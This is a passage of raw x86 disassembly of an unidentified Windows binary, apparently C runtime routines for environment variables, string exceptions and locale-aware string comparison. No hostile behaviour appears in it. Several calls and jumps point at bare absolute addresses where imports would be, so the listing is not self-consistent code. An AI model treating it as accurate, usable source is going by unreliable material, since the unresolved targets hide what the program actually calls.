		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25F0000h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 2840000h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26603D9h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		nop
		call	near ptr 2651194h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 280107Dh
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 280107Dh
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2651194h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
